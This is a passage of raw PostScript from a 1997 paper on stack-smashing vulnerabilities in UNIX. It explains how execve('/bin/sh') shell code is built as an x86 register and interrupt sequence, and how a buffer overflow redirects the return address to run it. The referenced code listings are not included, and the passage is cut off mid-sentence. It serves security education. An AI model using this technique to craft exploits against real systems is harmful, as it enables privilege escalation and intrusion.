: 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3014 M -0.400 0 (e)A 1.000 0 (x)A 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A 20.900 0 32 0.100 0 (s )D 21.000 0 32 (on )W -0.400 0 (e)A (v)S -0.400 0 (e)A -0.300 0 (r)A 24.000 0 32 -3.000 0 (y )D 0.200 0 (m)A (od)S -0.400 0 (e)A -0.300 0 (r)A 21.000 0 32 (n )W -0.200 0 (UN)A -2.300 0 (I)A 21.200 0 32 -0.200 0 (X )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 21.000 0 32 (, )W -0.400 0 (a)A 21.000 0 32 (nd )W 0.200 0 (i)A 20.900 0 32 0.100 0 (s )D -0.400 0 (c)A (o)S 0.200 0 (mm)A (on)S 0.200 0 (l)A 24.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (h)S 21.400 0 32 -0.400 0 (e )D (d)S -0.400 0 (e)A -0.300 0 (f)A -0.400 0 (a)A (u)S 20.800 0 32 0.200 0 (lt )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 20.800 0 32 0.200 0 (m )D 0.100 0 (s)A (h)S -0.400 0 (e)A 20.800 0 32 0.200 0 (ll )D -0.300 0 (f)A (o)S 21.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3191 M (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 19.000 0 32 (d u)W 0.100 0 (s)A -0.400 0 (e)A -0.300 0 (r)A 19.000 0 32 (. )W -0.200 0 (A)A (n)S 22.000 0 32 -3.000 0 (y )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 18.800 0 32 0.200 0 (m )D 0.100 0 (s)A (h)S -0.400 0 (e)A 18.800 0 32 0.200 0 (ll )D -0.400 0 (ca)A 19.000 0 32 (n b)W 19.400 0 32 -0.400 0 (e )D (u)S 0.100 0 (s)A -0.400 0 (e)A 19.000 0 32 (d )W -0.400 0 (a)A 18.900 0 32 0.100 0 (s s)D (h)S -0.400 0 (e)A 18.800 0 32 0.200 0 (ll )D -0.400 0 (c)A (od)S -0.400 0 (e)A 19.000 0 32 (, ho)W -0.200 0 (w)A -0.400 0 (e)A (v)S -0.400 0 (e)A -0.300 0 (r)A 19.000 0 32 (, )W 0.200 0 (i)A 20.000 0 32 (n )W 0.200 0 (t)A (h)S 20.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A 19.800 0 32 0.200 0 (t )D (o)S -0.300 0 (f)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3368 M -0.151 0 (keeping this study as generic as possible, )A ; : 0 0 4883 6391 rc 0 0 0 sco F8_100 Ji 2272 3378 M (/bin/sh)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2692 3368 M -0.008 0 ( is assumed.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 3548 M -2.300 0 (I)A (n o)S -0.300 0 (r)A (d)S -0.400 0 (e)A 1.300 0 32 -0.300 0 (r )D 0.200 0 (t)A 1.000 0 32 (o )W -0.400 0 (a)A -0.300 0 (rr)A -0.400 0 (a)A (n)S -1.000 0 (g)A 1.400 0 32 -0.400 0 (e a)D 1.000 0 32 (n )W 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (ac)A 0.200 0 (ti)A (v)S 1.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (h)S -0.400 0 (e)A 0.800 0 32 0.200 0 (ll )D 0.100 0 (s)A 0.200 0 (it)A (u)S -0.400 0 (a)A 0.200 0 (ti)A 1.000 0 32 (on, )W 1.400 0 32 -0.400 0 (a )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A 1.400 0 32 -0.400 0 (c )D ; : 0 0 4883 6391 rc 0 0 0 sco F8_100 Ji 3166 3558 M (/bin/sh)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3586 3548 M 1.000 0 32 ( )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A 1.000 0 32 (on )W 0.100 0 (s)A -0.400 0 (e)A (qu)S -0.400 0 (e)A (n)S -0.400 0 (ce)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3728 M 0.200 0 (m)A (u)S 0.100 0 (s)A 10.800 0 32 0.200 0 (t )D -0.400 0 (a)A (pp)S -0.400 0 (ea)A 11.300 0 32 -0.300 0 (r )D 0.100 0 (s)A (o)S 0.200 0 (m)A -0.400 0 (e)A -0.200 0 (w)A (h)S -0.400 0 (e)A -0.300 0 (r)A 11.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 11.000 0 32 (n )W 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 14.000 0 32 -3.000 0 (y )D 0.100 0 (s)A 11.000 0 32 (o )W 0.200 0 (t)A (h)S -0.400 0 (a)A 10.800 0 32 0.200 0 (t )D 11.400 0 32 -0.400 0 (a )D 0.200 0 (m)A -0.400 0 (a)A (n)S 0.200 0 (i)A (pu)S 0.200 0 (l)A -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (e)A 11.000 0 32 (d )W -0.300 0 (\221r)A -0.400 0 (e)A 0.200 0 (t)A (u)S -0.300 0 (r)A 11.000 0 32 (n )W -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (ss)A 11.300 0 32 -0.300 0 (\222 )D -0.400 0 (ca)A 11.000 0 32 (n po)W 0.200 0 (i)A (n)S 11.800 0 32 0.200 0 (t t)D 12.000 0 32 (o )W 0.200 0 (t)A (h)S -0.400 0 (a)A 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3905 M 0.200 0 (l)A (o)S -0.400 0 (ca)A 0.200 0 (ti)A 18.000 0 32 (on. )W -0.100 0 (T)A (h)S 0.200 0 (i)A 17.900 0 32 0.100 0 (s )D 0.200 0 (i)A 17.900 0 32 0.100 0 (s )D -0.400 0 (acc)A (o)S 0.200 0 (m)A (p)S 0.200 0 (li)A 0.100 0 (s)A (h)S -0.400 0 (e)A 19.000 0 32 (d b)W 22.000 0 32 -3.000 0 (y )D (u)S 0.100 0 (s)A 0.200 0 (i)A (n)S 20.000 0 32 -1.000 0 (g )D -0.400 0 (a)A 19.000 0 32 (n )W -0.400 0 (a)A 0.100 0 (ss)A -0.400 0 (e)A 0.200 0 (m)A (b)S 0.200 0 (l)A 22.000 0 32 -3.000 0 (y )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A 19.400 0 32 -0.400 0 (e )D (h)S -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (a)A (d)S -0.400 0 (ec)A 0.200 0 (im)A -0.400 0 (a)A 18.800 0 32 0.200 0 (l )D 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (n)S 20.000 0 32 -1.000 0 (g )D (o)S 19.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4082 M (b)S 0.200 0 (i)A (n)S -0.400 0 (a)A -0.300 0 (r)A 29.000 0 32 -3.000 0 (y )D -0.400 0 (e)A (qu)S 0.200 0 (i)A (v)S -0.400 0 (a)A 0.200 0 (l)A -0.400 0 (e)A (n)S 26.800 0 32 0.200 0 (t t)D 27.000 0 32 (o )W 0.200 0 (t)A (h)S 27.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (nd)S -0.400 0 (a)A -0.300 0 (r)A 27.000 0 32 (d )W 26.700 0 32 0.300 0 (C )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 27.000 0 32 (on )W -0.400 0 (ca)A 26.800 0 32 0.200 0 (ll: )D ; : 0 0 4883 6391 rc 0 0 0 sco F8_100 Ji 2805 4092 M 27.000 0 32 (execve\(name[0], "/bin/sh",)W ; : 0 0 4883 6391 rc 0 0 0 sco F8_100 Ji 612 4272 M (NULL\))S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 4262 M 50.000 0 32 (. )W 51.000 0 32 ( )W -0.200 0 (A)A 0.100 0 (ss)A -0.400 0 (e)A 0.200 0 (m)A (b)S 0.200 0 (l)A 54.000 0 32 -3.000 0 (y )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A 51.400 0 32 -0.400 0 (e e)D (qu)S 0.200 0 (i)A (v)S -0.400 0 (a)A 0.200 0 (l)A -0.400 0 (e)A (n)S 0.200 0 (t)A 50.900 0 32 0.100 0 (s )D 0.200 0 (t)A 51.000 0 32 (o )W 0.200 0 (t)A (h)S 0.200 0 (i)A 50.900 0 32 0.100 0 (s )D -0.400 0 (ca)A 50.800 0 32 0.200 0 (ll )D -0.400 0 (a)A -0.300 0 (r)A 51.400 0 32 -0.400 0 (e )D (h)S -0.400 0 (a)A -0.300 0 (r)A (d)S -0.200 0 (w)A -0.400 0 (a)A -0.300 0 (r)A 51.400 0 32 -0.400 0 (e )D 0.200 0 (im)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A (on)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4442 M (d)S -0.400 0 (e)A (p)S -0.400 0 (e)A (nd)S -0.400 0 (e)A (n)S 0.200 0 (t)A ; : 949 4426 3934 76 rc 0 0 0 sco (F2_67) cvn F2 67 xF F2_67 Ji 1022 4426 M 0.500 0 (10)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1090 4442 M 49.000 0 32 (. )W -0.200 0 (U)A 0.100 0 (s)A 0.200 0 (i)A (n)S 50.000 0 32 -1.000 0 (g )D (d)S -0.400 0 (e)A (bu)S -1.000 0 (gg)A 0.200 0 (i)A (n)S 50.000 0 32 -1.000 0 (g )D (u)S 0.200 0 (tiliti)A -0.400 0 (e)A 0.100 0 (s)A 49.000 0 32 (, )W 48.800 0 32 0.200 0 (it i)D 48.900 0 32 0.100 0 (s )D (po)S 0.100 0 (ss)A 0.200 0 (i)A (b)S 0.200 0 (l)A 49.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 49.000 0 32 (o d)W 0.200 0 (i)A 0.100 0 (ss)A -0.400 0 (ec)A 48.800 0 32 0.200 0 (t )D 50.400 0 32 -0.400 0 (a ca)D 49.800 0 32 0.200 0 (ll )D 0.100 0 (s)A (u)S -0.400 0 (c)A 50.000 0 32 (h )W -0.400 0 (a)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F8_100 Ji 612 4629 M 25.000 0 32 (execve\(name[0], "/bin/sh", NULL\) )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2667 4619 M (b)S 28.000 0 32 -3.000 0 (y )D (b)S -0.300 0 (r)A -0.400 0 (ea)A (k)S 0.200 0 (i)A (n)S 27.000 0 32 -1.000 0 (g )D 25.800 0 32 0.200 0 (it )D (do)S -0.200 0 (w)A 26.000 0 32 (n )W 0.200 0 (t)A 26.000 0 32 (o )W 26.400 0 32 -0.400 0 (a )D 0.100 0 (s)A 0.200 0 (im)A (p)S 0.200 0 (l)A 26.400 0 32 -0.400 0 (e )D -0.200 0 (A)A 0.400 0 (S)A 0.300 0 (C)A -2.300 0 (II)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4799 M -0.400 0 (a)A 0.100 0 (ss)A -0.400 0 (e)A 0.200 0 (m)A (b)S 0.200 0 (l)A 3.000 0 32 -3.000 0 (y )D 0.100 0 (s)A -0.400 0 (e)A (qu)S -0.400 0 (e)A (n)S -0.400 0 (ce)A (, )S -0.400 0 (a)A (nd )S 0.100 0 (s)A 0.200 0 (t)A (o)S -0.300 0 (r)A 0.200 0 (i)A (n)S 1.000 0 32 -1.000 0 (g )D -0.200 0 32 0.200 0 (it i)D (n )S 0.400 0 32 -0.400 0 (a c)D (h)S -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (ac)A 0.200 0 (t)A -0.400 0 (e)A 0.300 0 32 -0.300 0 (r )D -0.400 0 (a)A -0.300 0 (rr)A -0.400 0 (a)A 3.000 0 32 -3.000 0 (y )D (o)S 0.300 0 32 -0.300 0 (r )D (o)S 0.200 0 (t)A (h)S -0.400 0 (e)A 0.300 0 32 -0.300 0 (r )D -0.400 0 (c)A (on)S 0.200 0 (ti)A -1.000 0 (g)A (uou)S -0.100 0 32 0.100 0 (s )D (d)S -0.400 0 (a)A 0.200 0 (t)A 0.400 0 32 -0.400 0 (a )D 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (t)A (u)S -0.300 0 (r)A -0.400 0 (e)A (. )S -0.200 0 (O)A (n )S -0.400 0 (a)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4976 M -2.300 0 (I)A (n)S 0.200 0 (t)A -0.400 0 (e)A 13.800 0 32 0.200 0 (l )D 1.000 0 (x)A 14.000 0 32 (86 )W 0.200 0 (m)A -0.400 0 (ac)A (h)S 0.200 0 (i)A (n)S 14.400 0 32 -0.400 0 (e )D -0.300 0 (r)A (unn)S 0.200 0 (i)A (n)S 15.000 0 32 -1.000 0 (g )D -2.100 0 (L)A 0.200 0 (i)A (nu)S 1.000 0 (x)A 14.000 0 32 (, )W 0.200 0 (t)A (h)S 14.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (o)S 0.200 0 (ll)A (o)S -0.200 0 (w)A 0.200 0 (i)A (n)S 15.000 0 32 -1.000 0 (g )D 0.200 0 (i)A 13.900 0 32 0.100 0 (s )D 14.400 0 32 -0.400 0 (a )D 0.200 0 (li)A 0.100 0 (s)A 13.800 0 32 0.200 0 (t )D (o)S 14.300 0 32 -0.300 0 (f )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A (p)S 14.900 0 32 0.100 0 (s )D (u)S 0.100 0 (s)A -0.400 0 (e)A 15.000 0 32 (d )W 0.200 0 (i)A 15.000 0 32 (n )W -0.300 0 (f)A (o)S -0.300 0 (r)A 0.200 0 (m)A (u)S 0.200 0 (l)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 16.000 0 32 -1.000 0 (g )D 0.100 0 (s)A (h)S -0.400 0 (e)A 0.200 0 (ll)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5153 M 0.100 0 (code[1]:)A ; : 522 5586 2880 94 rc 0 0 0 sco F2_83 Ji 612 5586 M 0.250 0 ( )A ; : 1152 5586 2700 94 rc 0 0 0 sco F2_83 Ji 1242 5586 M 0.250 0 ( )A ; 612 5639 N M 1200 4 rr : 0 0 0 sco O ; : 0 0 4883 6391 rc 0 0 0 sco (F2_42) cvn F2 42 xF F2_42 Ji 612 5682 M (10)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 654 5687 M 0.232 0 ( Examples of shell code for many popular UNIX systems, see appendix A)A ; LH savelevel1 restore pagesave restore (%%[ Page: 17 ]%%) = %%PageTrailer %%Page: 18 18 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (18)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_92) cvn F2 92 xF F2_92 Ji 612 504 M (1. )S 35.000 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 762 504 M 0.101 0 (The null terminated string )A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Courier (F5) cvn 0.783 (Courier) cvn /Type1 T (Courier) cvn mF (F5_83) cvn F5 83 xF F5_83 Ji 1746 521 M 0.200 0 (/bin/sh)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 2096 504 M -0.098 0 ( exists somewhere in memory.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 612 613 M (2. )S 35.000 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 762 613 M 0.131 0 (The address of the string )A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 1698 630 M 0.200 0 (/bin/sh)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 2048 613 M -0.043 0 ( exists somewhere in memory followed by a null long word.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 612 722 M (3. )S 35.000 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 762 739 M 0.200 0 (0xb)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 912 722 M 0.139 0 ( is copied into the )A ; : 0 0 4883 6391 rc 0 0 0 sco (F5_92) cvn F5 92 xF F5_92 Ji 1592 730 M -0.200 0 (EAX)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 1757 722 M 0.109 0 ( register.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 612 833 M (4. )S 35.000 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 762 833 M 0.131 0 (The address of the string )A ; : 0 0 4883 6391 rc 0 0 0 sco F5_92 Ji 1698 841 M -0.200 0 (/bin/sh)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 2083 833 M 0.139 0 ( is copied into the )A ; : 0 0 4883 6391 rc 0 0 0 sco F5_92 Ji 2763 841 M -0.200 0 (EBX)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 2928 833 M 0.109 0 ( register.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 612 944 M (5. )S 35.000 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 762 944 M 0.131 0 (The address of the string )A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 1698 961 M 0.200 0 (/bin/sh)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 2048 944 M 0.139 0 ( is copied into the )A ; : 0 0 4883 6391 rc 0 0 0 sco F5_92 Ji 2728 952 M -0.200 0 (ECX)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 2893 944 M 0.109 0 ( register.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 612 1055 M (6. )S 35.000 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 762 1055 M 0.113 0 (The address of the null long word is copied into the )A ; : 0 0 4883 6391 rc 0 0 0 sco F5_92 Ji 2687 1063 M -0.200 0 (EDX)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 2852 1055 M 0.109 0 ( register.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 612 1166 M (7. )S 35.000 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 762 1166 M 0.235 0 (The )A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 929 1183 M 0.200 0 (int $0x80)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 1379 1166 M 0.109 0 ( instruction is executed, a standard Intel CPU interrupt)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 612 1283 M (8. )S 35.000 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 762 1300 M 0.200 0 (0x1 )A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 962 1275 M -0.030 0 (is copied )A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 1345 1283 M 0.158 0 (into the )A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 1648 1300 M 0.200 0 (EAX)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 1798 1283 M 0.109 0 ( register.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 612 1393 M (9. )S 35.000 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 762 1410 M 0.200 0 (0x0)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 912 1393 M 0.139 0 ( is copied into the )A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 1592 1410 M 0.200 0 (EBX)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 1742 1393 M 0.109 0 ( register.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 612 1502 M (10. )S -11.000 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 762 1502 M 0.235 0 (The )A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 929 1519 M 0.200 0 (int $0x80)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 1379 1502 M 0.107 0 ( instruction is executed, a standard Intel CPU interrupt.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1773 M -0.139 0 (This listing can be reduced to x86 actual shell code in a standard ANSI C character array:)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_75) cvn F2 75 xF F2_75 Ji 1477 2403 M 0.006 0 ( Example 9.a - )A ; : 0 0 4883 6391 rc 0 0 0 sco (F5_75) cvn F5 75 xF F5_75 Ji 1952 2411 M (/bin/sh assembly execution sequence)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2583 M -0.068 0 (The shell code and buffer overflow examples are combined in the following example:)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_75 Ji 1349 4503 M 0.043 0 (Example 9.b - )A ; : 0 0 4883 6391 rc 0 0 0 sco F5_75 Ji 1810 4511 M (buffer overflow with shell code execution)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 4702 M -0.200 0 (U)A 0.100 0 (s)A 0.200 0 (i)A (n)S 7.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 6.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (ou)S -0.300 0 (r)A 6.400 0 32 -0.400 0 (ce c)D (od)S 6.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 6.000 0 32 (n )W -0.100 0 (E)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A 6.400 0 32 -0.400 0 (e )D (9.)S -0.400 0 (a)A 5.800 0 32 0.200 0 (; )D -0.600 0 (F)A 0.200 0 (i)A -0.300 0 (r)A 0.100 0 (s)A 0.200 0 (t)A 6.000 0 32 (, )W ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 2757 4727 M 0.200 0 (large_string)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3357 4702 M 6.000 0 32 ( )W 0.200 0 (i)A 5.900 0 32 0.100 0 (s )D -0.300 0 (f)A 0.200 0 (ill)A -0.400 0 (e)A 7.000 0 32 (d )W -0.200 0 (w)A 0.200 0 (it)A 7.000 0 32 (h )W 0.200 0 (t)A (h)S 7.400 0 32 -0.400 0 (e a)D (dd)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (ss)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4879 M (o)S 7.300 0 32 -0.300 0 (f )D ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 727 4904 M 0.200 0 (buffer)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1027 4879 M 7.000 0 32 (, )W -0.200 0 (w)A (h)S 0.200 0 (i)A -0.400 0 (c)A 7.000 0 32 (h po)W 0.200 0 (i)A (n)S 0.200 0 (t)A 6.900 0 32 0.100 0 (s )D 0.200 0 (t)A 8.000 0 32 (o )W 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (u)S 0.200 0 (t)A (u)S -0.300 0 (r)A 8.400 0 32 -0.400 0 (e )D 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 11.000 0 32 -3.000 0 (y )D 0.200 0 (l)A (o)S -0.400 0 (ca)A 0.200 0 (ti)A 8.000 0 32 (on o)W 8.300 0 32 -0.300 0 (f )D (ou)S 8.300 0 32 -0.300 0 (r )D 0.100 0 (s)A (h)S -0.400 0 (e)A 7.800 0 32 0.200 0 (ll )D -0.400 0 (c)A (od)S 8.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -0.400 0 (e)A (qu)S -0.400 0 (e)A (n)S -0.400 0 (ce)A 8.000 0 32 (. )W 0.400 0 (S)A -0.400 0 (ec)A (ond,)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5056 M 0.200 0 (t)A (h)S 21.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (h)S -0.400 0 (e)A 21.800 0 32 0.200 0 (ll )D -0.400 0 (c)A (od)S 22.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 21.900 0 32 0.100 0 (s )D -0.400 0 (c)A (op)S 0.200 0 (i)A -0.400 0 (e)A 22.000 0 32 (d )W 0.200 0 (i)A (n)S 0.200 0 (t)A 22.000 0 32 (o )W 0.200 0 (t)A (h)S 22.400 0 32 -0.400 0 (e )D (b)S -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (i)A (nn)S 0.200 0 (i)A (n)S 23.000 0 32 -1.000 0 (g )D (o)S 22.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 22.400 0 32 -0.400 0 (e )D ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 2794 5081 M 0.200 0 (large_string)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3394 5056 M 22.000 0 32 ( )W -0.400 0 (c)A (h)S -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (ac)A 0.200 0 (t)A -0.400 0 (e)A 22.300 0 32 -0.300 0 (r )D -0.400 0 (a)A -0.300 0 (rr)A -0.400 0 (a)A -3.000 0 (y)A 22.000 0 32 (. )W -0.200 0 (N)A -0.400 0 (e)A 1.000 0 (x)A 0.200 0 (t)A (,)S ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 5258 M 0.200 0 (strcpy\(\))A ; : 0 0 4883 6391 rc 0 0 0 sco (F5_100) cvn F5 100 xF F5_100 Ji 1012 5243 M 7.000 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1079 5233 M -0.400 0 (c)A (op)S 0.200 0 (i)A -0.400 0 (e)A 6.900 0 32 0.100 0 (s )D ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 1366 5258 M 0.200 0 (large_string)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1966 5233 M 7.000 0 32 ( on)W 0.200 0 (t)A 7.000 0 32 (o )W ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 2208 5258 M 0.200 0 (buffer)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 2508 5249 M 7.250 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2536 5233 M (ov)S -0.400 0 (e)A -0.300 0 (rf)A 0.200 0 (l)A (o)S -0.200 0 (w)A 0.200 0 (i)A (n)S 8.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (t)A (u)S -0.300 0 (r)A 8.000 0 32 (n )W -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (ss)A 8.000 0 32 (, ov)W -0.400 0 (e)A -0.300 0 (r)A -0.200 0 (w)A -0.300 0 (r)A 0.200 0 (iti)A (n)S 9.000 0 32 -1.000 0 (g )D 0.200 0 (it)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5410 M -0.200 0 (w)A 0.200 0 (it)A 13.000 0 32 (h )W 0.200 0 (t)A (h)S 13.400 0 32 -0.400 0 (e a)D (dd)S -0.300 0 (r)A -0.400 0 (e)A 12.900 0 32 0.100 0 (ss )D (o)S 13.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 13.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (h)S -0.400 0 (e)A 13.800 0 